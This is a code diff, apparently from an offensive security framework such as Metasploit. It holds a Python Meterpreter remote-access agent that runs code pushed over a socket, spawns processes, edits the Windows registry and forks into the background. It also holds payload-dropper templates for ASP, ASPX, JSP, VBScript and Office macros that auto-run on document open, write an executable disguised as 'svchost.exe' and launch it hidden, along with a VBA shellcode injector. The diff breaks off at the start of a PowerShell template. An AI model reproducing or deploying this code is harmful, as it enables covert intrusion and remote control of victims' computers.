hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
||||
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
|
||||
result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_unload_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
|
||||
return result, response
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,415 @@
|
|||
#!/usr/bin/python
|
||||
import code
|
||||
import ctypes
|
||||
import os
|
||||
import random
|
||||
import select
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
PACKET_TYPE_RESPONSE = 1
|
||||
PACKET_TYPE_PLAIN_REQUEST = 10
|
||||
PACKET_TYPE_PLAIN_RESPONSE = 11
|
||||
|
||||
ERROR_SUCCESS = 0
|
||||
# not defined in original C implementation
|
||||
ERROR_FAILURE = 1
|
||||
|
||||
CHANNEL_CLASS_BUFFERED = 0
|
||||
CHANNEL_CLASS_STREAM = 1
|
||||
CHANNEL_CLASS_DATAGRAM = 2
|
||||
CHANNEL_CLASS_POOL = 3
|
||||
|
||||
#
|
||||
# TLV Meta Types
|
||||
#
|
||||
TLV_META_TYPE_NONE = ( 0 )
|
||||
TLV_META_TYPE_STRING = (1 << 16)
|
||||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
# not defined in original
|
||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||
|
||||
#
|
||||
# TLV base starting points
|
||||
#
|
||||
TLV_RESERVED = 0
|
||||
TLV_EXTENSIONS = 20000
|
||||
TLV_USER = 40000
|
||||
TLV_TEMP = 60000
|
||||
|
||||
#
|
||||
# TLV Specific Types
|
||||
#
|
||||
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||
|
||||
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||
|
||||
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||
|
||||
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
||||
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
||||
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
||||
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
||||
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
||||
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
||||
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||
|
||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||
|
||||
def generate_request_id():
|
||||
chars = 'abcdefghijklmnopqrstuvwxyz'
|
||||
return ''.join(random.choice(chars) for x in xrange(32))
|
||||
|
||||
def packet_get_tlv(pkt, tlv_type):
|
||||
offset = 0
|
||||
while (offset < len(pkt)):
|
||||
tlv = struct.unpack('>II', pkt[offset:offset+8])
|
||||
if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
|
||||
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
||||
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
val = val.split('\x00', 1)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
val = struct.unpack('>I', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
val = bool(struct.unpack('b', val)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
pass
|
||||
return {'type':tlv[1], 'length':tlv[0], 'value':val}
|
||||
offset += tlv[0]
|
||||
return {}
|
||||
|
||||
def tlv_pack(*args):
|
||||
if len(args) == 2:
|
||||
tlv = {'type':args[0], 'value':args[1]}
|
||||
else:
|
||||
tlv = args[0]
|
||||
data = ""
|
||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00'
|
||||
elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
|
||||
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value'])))
|
||||
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||
return data
|
||||
|
||||
class STDProcessBuffer(threading.Thread):
|
||||
def __init__(self, std, is_alive):
|
||||
threading.Thread.__init__(self)
|
||||
self.std = std
|
||||
self.is_alive = is_alive
|
||||
self.data = ''
|
||||
self.data_lock = threading.RLock()
|
||||
|
||||
def run(self):
|
||||
while self.is_alive():
|
||||
byte = self.std.read(1)
|
||||
self.data_lock.acquire()
|
||||
self.data += byte
|
||||
self.data_lock.release()
|
||||
data = self.std.read()
|
||||
self.data_lock.acquire()
|
||||
self.data += data
|
||||
self.data_lock.release()
|
||||
|
||||
def is_read_ready(self):
|
||||
return len(self.data) != 0
|
||||
|
||||
def read(self, l = None):
|
||||
data = ''
|
||||
self.data_lock.acquire()
|
||||
if l == None:
|
||||
data = self.data
|
||||
self.data = ''
|
||||
else:
|
||||
data = self.data[0:l]
|
||||
self.data = self.data[l:]
|
||||
self.data_lock.release()
|
||||
return data
|
||||
|
||||
class STDProcess(subprocess.Popen):
|
||||
def __init__(self, *args, **kwargs):
|
||||
subprocess.Popen.__init__(self, *args, **kwargs)
|
||||
|
||||
def start(self):
|
||||
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
|
||||
self.stdout_reader.start()
|
||||
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
||||
self.stderr_reader.start()
|
||||
|
||||
class PythonMeterpreter(object):
|
||||
def __init__(self, socket):
|
||||
self.socket = socket
|
||||
self.extension_functions = {}
|
||||
self.channels = {}
|
||||
self.interact_channels = []
|
||||
self.processes = {}
|
||||
for func in filter(lambda x: x.startswith('_core'), dir(self)):
|
||||
self.extension_functions[func[1:]] = getattr(self, func)
|
||||
self.running = True
|
||||
|
||||
def register_function(self, func):
|
||||
self.extension_functions[func.__name__] = func
|
||||
|
||||
def register_function_windll(self, func):
|
||||
if has_windll:
|
||||
self.register_function(func)
|
||||
|
||||
def add_channel(self, channel):
|
||||
idx = 0
|
||||
while idx in self.channels:
|
||||
idx += 1
|
||||
self.channels[idx] = channel
|
||||
return idx
|
||||
|
||||
def add_process(self, process):
|
||||
idx = 0
|
||||
while idx in self.processes:
|
||||
idx += 1
|
||||
self.processes[idx] = process
|
||||
return idx
|
||||
|
||||
def run(self):
|
||||
while self.running:
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
request = self.socket.recv(8)
|
||||
if len(request) != 8:
|
||||
break
|
||||
req_length, req_type = struct.unpack('>II', request)
|
||||
req_length -= 8
|
||||
request = ''
|
||||
while len(request) < req_length:
|
||||
request += self.socket.recv(4096)
|
||||
response = self.create_response(request)
|
||||
self.socket.send(response)
|
||||
else:
|
||||
channels_for_removal = []
|
||||
channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed
|
||||
for channel_id in channel_ids:
|
||||
channel = self.channels[channel_id]
|
||||
data = ''
|
||||
if isinstance(channel, STDProcess):
|
||||
if not channel_id in self.interact_channels:
|
||||
continue
|
||||
if channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read()
|
||||
elif channel.stderr_reader.is_read_ready():
|
||||
data = channel.stderr_reader.read()
|
||||
elif channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
elif isinstance(channel, socket._socketobject):
|
||||
while len(select.select([channel.fileno()], [], [], 0)[0]):
|
||||
try:
|
||||
d = channel.recv(1)
|
||||
except socket.error:
|
||||
d = ''
|
||||
if len(d) == 0:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
break
|
||||
data += d
|
||||
if data:
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
||||
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
|
||||
def handle_dead_resource_channel(self, channel_id):
|
||||
del self.channels[channel_id]
|
||||
if channel_id in self.interact_channels:
|
||||
self.interact_channels.remove(channel_id)
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
|
||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
|
||||
def _core_loadlib(self, request, response):
|
||||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||
return ERROR_FAILURE
|
||||
preloadlib_methods = self.extension_functions.keys()
|
||||
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
|
||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||
postloadlib_methods = self.extension_functions.keys()
|
||||
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
|
||||
for method in new_methods:
|
||||
response += tlv_pack(TLV_TYPE_METHOD, method)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_shutdown(self, request, response):
|
||||
response += tlv_pack(TLV_TYPE_BOOL, True)
|
||||
self.running = False
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_channel_open(self, request, response):
|
||||
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
||||
handler = 'channel_create_' + channel_type['value']
|
||||
if handler not in self.extension_functions:
|
||||
return ERROR_FAILURE, response
|
||||
handler = self.extension_functions[handler]
|
||||
return handler(request, response)
|
||||
|
||||
def _core_channel_close(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
if isinstance(channel, file):
|
||||
channel.close()
|
||||
elif isinstance(channel, subprocess.Popen):
|
||||
channel.kill()
|
||||
elif isinstance(s, socket._socketobject):
|
||||
channel.close()
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
del self.channels[channel_id]
|
||||
if channel_id in self.interact_channels:
|
||||
self.interact_channels.remove(channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_channel_eof(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
result = False
|
||||
if isinstance(channel, file):
|
||||
result = channel.tell() == os.fstat(channel.fileno()).st_size
|
||||
response += tlv_pack(TLV_TYPE_BOOL, result)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_channel_interact(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
|
||||
if toggle:
|
||||
if channel_id in self.interact_channels:
|
||||
self.interact_channels.remove(channel_id)
|
||||
else:
|
||||
self.interact_channels.append(channel_id)
|
||||
elif channel_id in self.interact_channels:
|
||||
self.interact_channels.remove(channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_channel_read(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
data = ''
|
||||
if isinstance(channel, file):
|
||||
data = channel.read(length)
|
||||
elif isinstance(channel, STDProcess):
|
||||
if channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
if channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read(length)
|
||||
elif isinstance(s, socket._socketobject):
|
||||
data = channel.recv(length)
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_channel_write(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
||||
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
l = len(channel_data)
|
||||
if isinstance(channel, file):
|
||||
channel.write(channel_data)
|
||||
elif isinstance(channel, subprocess.Popen):
|
||||
if channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
return ERROR_FAILURE, response
|
||||
channel.stdin.write(channel_data)
|
||||
elif isinstance(s, socket._socketobject):
|
||||
try:
|
||||
l = channel.send(channel_data)
|
||||
except socket.error:
|
||||
channel.close()
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
return ERROR_FAILURE, response
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
response += tlv_pack(TLV_TYPE_LENGTH, l)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def create_response(self, request):
|
||||
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
|
||||
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
|
||||
resp += tlv_pack(method_tlv)
|
||||
|
||||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||
resp += tlv_pack(reqid_tlv)
|
||||
|
||||
handler_name = method_tlv['value']
|
||||
if handler_name in self.extension_functions:
|
||||
handler = self.extension_functions[handler_name]
|
||||
try:
|
||||
#print("[*] running method {0}".format(handler_name))
|
||||
result, resp = handler(request, resp)
|
||||
except Exception, err:
|
||||
#print("[-] method {0} resulted in an error".format(handler_name))
|
||||
result = ERROR_FAILURE
|
||||
else:
|
||||
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
||||
result = ERROR_FAILURE
|
||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||
return resp
|
||||
|
||||
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||
if hasattr(os, 'setsid'):
|
||||
os.setsid()
|
||||
met = PythonMeterpreter(s)
|
||||
met.run()
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,24 @@
|
|||
<%% @language="VBScript" %%>
|
||||
<%%
|
||||
Sub %{var_func}()
|
||||
%{var_shellcode}
|
||||
Dim %{var_obj}
|
||||
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
|
||||
Dim %{var_stream}
|
||||
Dim %{var_tempdir}
|
||||
Dim %{var_tempexe}
|
||||
Dim %{var_basedir}
|
||||
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
|
||||
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
|
||||
%{var_obj}.CreateFolder(%{var_basedir})
|
||||
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
|
||||
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe},2,0)
|
||||
%{var_stream}.Write %{var_bytes}
|
||||
%{var_stream}.Close
|
||||
Dim %{var_shell}
|
||||
Set %{var_shell} = CreateObject("Wscript.Shell")
|
||||
%{var_shell}.run %{var_tempexe}, 0, false
|
||||
End Sub
|
||||
|
||||
%{var_func}
|
||||
%%>
|
|
@ -0,0 +1,30 @@
|
|||
<%%@ Page Language="C#" AutoEventWireup="true" %%>
|
||||
<%%@ Import Namespace="System.IO" %%>
|
||||
<script runat="server">
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
%{shellcode}
|
||||
string %{var_tempdir} = Path.GetTempPath();
|
||||
string %{var_basedir} = Path.Combine(%{var_tempdir}, "%{var_filename}");
|
||||
string %{var_tempexe} = Path.Combine(%{var_basedir}, "svchost.exe");
|
||||
|
||||
Directory.CreateDirectory(%{var_basedir});
|
||||
|
||||
FileStream fs = File.Create(%{var_tempexe});
|
||||
|
||||
try
|
||||
{
|
||||
fs.Write(%{var_file}, 0, %{var_file}.Length);
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (fs != null) ((IDisposable)fs).Dispose();
|
||||
}
|
||||
|
||||
System.Diagnostics.Process %{var_proc} = new System.Diagnostics.Process();
|
||||
%{var_proc}.StartInfo.CreateNoWindow = true;
|
||||
%{var_proc}.StartInfo.UseShellExecute = true;
|
||||
%{var_proc}.StartInfo.FileName = %{var_tempexe};
|
||||
%{var_proc}.Start();
|
||||
}
|
||||
</script>
|
|
@ -0,0 +1,81 @@
|
|||
'**************************************************************
|
||||
'*
|
||||
'* This code is now split into two pieces:
|
||||
'* 1. The Macro. This must be copied into the Office document
|
||||
'* macro editor. This macro will run on startup.
|
||||
'*
|
||||
'* 2. The Data. The hex dump at the end of this output must be
|
||||
'* appended to the end of the document contents.
|
||||
'*
|
||||
'**************************************************************
|
||||
'*
|
||||
'* MACRO CODE
|
||||
'*
|
||||
'**************************************************************
|
||||
|
||||
Sub Auto_Open()
|
||||
%{func_name1}
|
||||
End Sub
|
||||
|
||||
Sub %{func_name1}()
|
||||
Dim %{var_appnr} As Integer
|
||||
Dim %{var_fname} As String
|
||||
Dim %{var_fenvi} As String
|
||||
Dim %{var_fhand} As Integer
|
||||
Dim %{var_parag} As Paragraph
|
||||
Dim %{var_index} As Integer
|
||||
Dim %{var_gotmagic} As Boolean
|
||||
Dim %{var_itemp} As Integer
|
||||
Dim %{var_stemp} As String
|
||||
Dim %{var_btemp} As Byte
|
||||
Dim %{var_magic} as String
|
||||
%{var_magic} = "%{var_magic}"
|
||||
%{var_fname} = "%{filename}.exe"
|
||||
%{var_fenvi} = Environ("USERPROFILE")
|
||||
ChDrive (%{var_fenvi})
|
||||
ChDir (%{var_fenvi})
|
||||
%{var_fhand} = FreeFile()
|
||||
Open %{var_fname} For Binary As %{var_fhand}
|
||||
For Each %{var_parag} in ActiveDocument.Paragraphs
|
||||
DoEvents
|
||||
%{var_stemp} = %{var_parag}.Range.Text
|
||||
If (%{var_gotmagic} = True) Then
|
||||
%{var_index} = 1
|
||||
While (%{var_index} < Len(%{var_stemp}))
|
||||
%{var_btemp} = Mid(%{var_stemp},%{var_index},4)
|
||||
Put #%{var_fhand}, , %{var_btemp}
|
||||
%{var_index} = %{var_index} + 4
|
||||
Wend
|
||||
ElseIf (InStr(1,%{var_stemp},%{var_magic}) > 0 And Len(%{var_stemp}) > 0) Then
|
||||
%{var_gotmagic} = True
|
||||
End If
|
||||
Next
|
||||
Close #%{var_fhand}
|
||||
%{func_name2}(%{var_fname})
|
||||
End Sub
|
||||
|
||||
Sub %{func_name2}(%{var_farg} As String)
|
||||
Dim %{var_appnr} As Integer
|
||||
Dim %{var_fenvi} As String
|
||||
%{var_fenvi} = Environ("USERPROFILE")
|
||||
ChDrive (%{var_fenvi})
|
||||
ChDir (%{var_fenvi})
|
||||
%{var_appnr} = Shell(%{var_farg}, vbHide)
|
||||
End Sub
|
||||
|
||||
Sub AutoOpen()
|
||||
Auto_Open
|
||||
End Sub
|
||||
|
||||
Sub Workbook_Open()
|
||||
Auto_Open
|
||||
End Sub
|
||||
|
||||
'**************************************************************
|
||||
'*
|
||||
'* PAYLOAD DATA
|
||||
'*
|
||||
'**************************************************************
|
||||
|
||||
%{var_magic}
|
||||
%{data}
|
|
@ -0,0 +1,24 @@
|
|||
Function %{var_func}()
|
||||
%{var_shellcode}
|
||||
|
||||
Dim %{var_obj}
|
||||
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
|
||||
Dim %{var_stream}
|
||||
Dim %{var_tempdir}
|
||||
Dim %{var_tempexe}
|
||||
Dim %{var_basedir}
|
||||
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
|
||||
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
|
||||
%{var_obj}.CreateFolder(%{var_basedir})
|
||||
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
|
||||
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false)
|
||||
%{var_stream}.Write %{var_bytes}
|
||||
%{var_stream}.Close
|
||||
Dim %{var_shell}
|
||||
Set %{var_shell} = CreateObject("Wscript.Shell")
|
||||
%{var_shell}.run %{var_tempexe}, 0, true
|
||||
%{var_obj}.DeleteFile(%{var_tempexe})
|
||||
%{var_obj}.DeleteFolder(%{var_basedir})
|
||||
End Function
|
||||
|
||||
%{init}
|
|
@ -0,0 +1,49 @@
|
|||
<%%@ page import="java.io.*" %%>
|
||||
<%%
|
||||
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
|
||||
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
|
||||
String %{var_data} = "";
|
||||
|
||||
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
|
||||
{
|
||||
%{var_exepath} = %{var_exepath}.concat(".exe");
|
||||
}
|
||||
|
||||
FileInputStream %{var_inputstream} = new FileInputStream(%{var_hexpath});
|
||||
FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
|
||||
|
||||
int %{var_numbytes} = %{var_inputstream}.available();
|
||||
byte %{var_bytearray}[] = new byte[%{var_numbytes}];
|
||||
%{var_inputstream}.read(%{var_bytearray});
|
||||
%{var_inputstream}.close();
|
||||
byte[] %{var_bytes} = new byte[%{var_numbytes}/2];
|
||||
for (int %{var_counter} = 0; %{var_counter} < %{var_numbytes}; %{var_counter} += 2)
|
||||
{
|
||||
char %{var_char1} = (char) %{var_bytearray}[%{var_counter}];
|
||||
char %{var_char2} = (char) %{var_bytearray}[%{var_counter} + 1];
|
||||
int %{var_comb} = Character.digit(%{var_char1}, 16) & 0xff;
|
||||
%{var_comb} <<= 4;
|
||||
%{var_comb} += Character.digit(%{var_char2}, 16) & 0xff;
|
||||
%{var_bytes}[%{var_counter}/2] = (byte)%{var_comb};
|
||||
}
|
||||
|
||||
%{var_outputstream}.write(%{var_bytes});
|
||||
%{var_outputstream}.close();
|
||||
|
||||
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
|
||||
String[] %{var_fperm} = new String[3];
|
||||
%{var_fperm}[0] = "chmod";
|
||||
%{var_fperm}[1] = "+x";
|
||||
%{var_fperm}[2] = %{var_exepath};
|
||||
Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
|
||||
if (%{var_proc}.waitFor() == 0) {
|
||||
%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
|
||||
}
|
||||
|
||||
File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
|
||||
}
|
||||
else
|
||||
{
|
||||
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
|
||||
}
|
||||
%%>
|
|
@ -0,0 +1,32 @@
|
|||
#If Vba7 Then
|
||||
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As LongPtr, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As LongPtr
|
||||
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As LongPtr
|
||||
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As LongPtr, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As LongPtr
|
||||
#Else
|
||||
Private Declare Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As Long, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As Long
|
||||
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As Long
|
||||
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As Long, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As Long
|
||||
#EndIf
|
||||
|
||||
Sub Auto_Open()
|
||||
Dim %{var_myByte} As Long, %{var_myArray} As Variant, %{var_offset} As Long
|
||||
#If Vba7 Then
|
||||
Dim %{var_rwxpage} As LongPtr, %{var_res} As LongPtr
|
||||
#Else
|
||||
Dim %{var_rwxpage} As Long, %{var_res} As Long
|
||||
#EndIf
|
||||
%{bytes}
|
||||
%{var_rwxpage} = VirtualAlloc(0, UBound(%{var_myArray}), &H1000, &H40)
|
||||
For %{var_offset} = LBound(%{var_myArray}) To UBound(%{var_myArray})
|
||||
%{var_myByte} = %{var_myArray}(%{var_offset})
|
||||
%{var_res} = RtlMoveMemory(%{var_rwxpage} + %{var_offset}, %{var_myByte}, 1)
|
||||
Next %{var_offset}
|
||||
%{var_res} = CreateThread(0, 0, %{var_rwxpage}, 0, 0, 0)
|
||||
End Sub
|
||||
Sub AutoOpen()
|
||||
Auto_Open
|
||||
End Sub
|
||||
Sub Workbook_Open()
|
||||
Auto_Open
|
||||
End Sub
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
Set-StrictMode -Version 2
|
||||
$%{var_syscode} = @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
namespace %{var_kernel32} {
|
||||
public class func {
|
||||
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
